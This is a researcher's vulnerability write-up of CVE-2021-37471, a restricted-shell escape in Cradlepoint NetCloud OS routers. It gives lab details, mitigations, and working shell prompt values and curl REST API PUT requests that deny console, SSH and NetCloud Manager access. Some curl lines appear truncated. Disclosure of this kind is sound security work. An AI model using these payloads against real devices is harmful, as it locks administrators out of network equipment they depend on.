2 minutes

CVE-2021-37471

Table of Contents

- Description
  - [CVE]: CVE-2021-37471
  - [Class]: Denial of Service / Denial of Availability
  - [Attack Type]: Context-dependent
  - [Vendors]: Cradlepoint
  - [Affected Product Code Base]: Versions before v7.21.80
- Links
- Lab Details
- Exploitation
  - Shell and Local Console
  - How to perform over REST API
- Mitigations

Description

[CVE]:CVE-2021-37471

Cradlepoint NetCloud OS devices running versions before 7.21.80 are vulnerable to a restricted shell escape sequence that provides an attacker the capability to simultaneously deny availability to the device's NetCloud Manager console, local console and SSH command-line.

[Class]: Denial of Service / Denial of Availability

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor, resulting in denial of service / denial of availability.

[Attack Type]: Context-dependent

Exploitation methods include:

- Local console
- SSH command-line
- REST API

[Vendors]: Cradlepoint

The vendor involved in this vulnerability is Cradlepoint.

[Affected Product Code Base]: Versions before v7.21.80

Affected Hardware

- Devices running NetCloud OS (such as IBR900-600)

Affected Versions

- Versions before v7.21.80

Links

- https://nvd.nist.gov/vuln/detail/CVE-2021-37471
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37471
- https://cradlepoint.com/product/endpoints/ibr900/
- https://cradlepoint.com/vulnerability-alerts/cve-2021-37471-denial-of-console-availability-using-restricted-shell-escape-sequences/

Lab Details

- Hardware: `IBR900-600`

```
get status/product_info/product_name
```

```
"IBR900-600M"
```

- Software Version: `v7.2.60`

```
get status/fw_info
```

```
{
    "build_date": "Mon Sep 00:00:00 UTC 2020",
    "build_type": "RELEASE",
    "build_version": "b108091",
    "fw_update_available": false,
    "major_version": 7,
    "manufacturing_upgrade": false,
    "minor_version": 2,
    "patch_version": 60,
    "sign_cert_types": "ROOTCA RELEASE",
    "upgrade_major_version": 0,
    "upgrade_minor_version": 0,
    "upgrade_patch_version": 0
}
```

Exploitation

Exploitation can be performed 3 ways. Local console, over SSH on the command-line or utilizing the REST API.

Shell and Local Console

The vulnerability appears to stem from ANSI code that breaks the restricted shell prompt. Additionally, I observed escaping of raw ANSI like `\033[0m` so, you can't use that here and are forced to use the built-ins.

Deny user access with ANSI escaping

```
set /config/shell/prompt "</yellow>"
```

```
set /config/shell/prompt "</red>"
```

```
set /config/shell/prompt "</bold>"
```

Deny user access with str methods

```
set /config/shell/prompt "{id.center}"
```

```
set /config/shell/prompt "{id.index}"
```

Denial results in

```
Connection to IP_ADDRESS closed by remote host.
Connection to IP_ADDRESS closed.
```

Allow user access

```
set /config/shell/prompt "[{username}@{hostname}: <
```

Allowing results in

```
Connection to IP_ADDRESS closed by remote host.
Connection to IP_ADDRESS closed.
```

However, now you can log back in.

How to perform over REST API

Over the REST API, you can craft a PUT method to accomplish user access denial.

Deny user access

```
curl -X PUT -d 'data="[{username}@{hostname}: \\033
```

```
{
  "success": true,
  "data": "[{username}@{hostname}: \\033[1m{cwd}
</bold>]$ "
}
```

Allow user access

```
curl -X PUT -d 'data="[{username}@{hostname}: <bold
```

```
{
  "success": true,
  "data": "[{username}@{hostname}: <bold>{cwd}
</bold>]$ "
}
```

Mitigations

Mitigations are dependent on a bad actors possession of user credentials or updating to a fixed release. Cradlepoint stated a fix has been confirmed and released.

#CVE
390 Words
2021-07-11 21:00 -0700

OTHER POSTS

CVE-2020-140… →

© 2022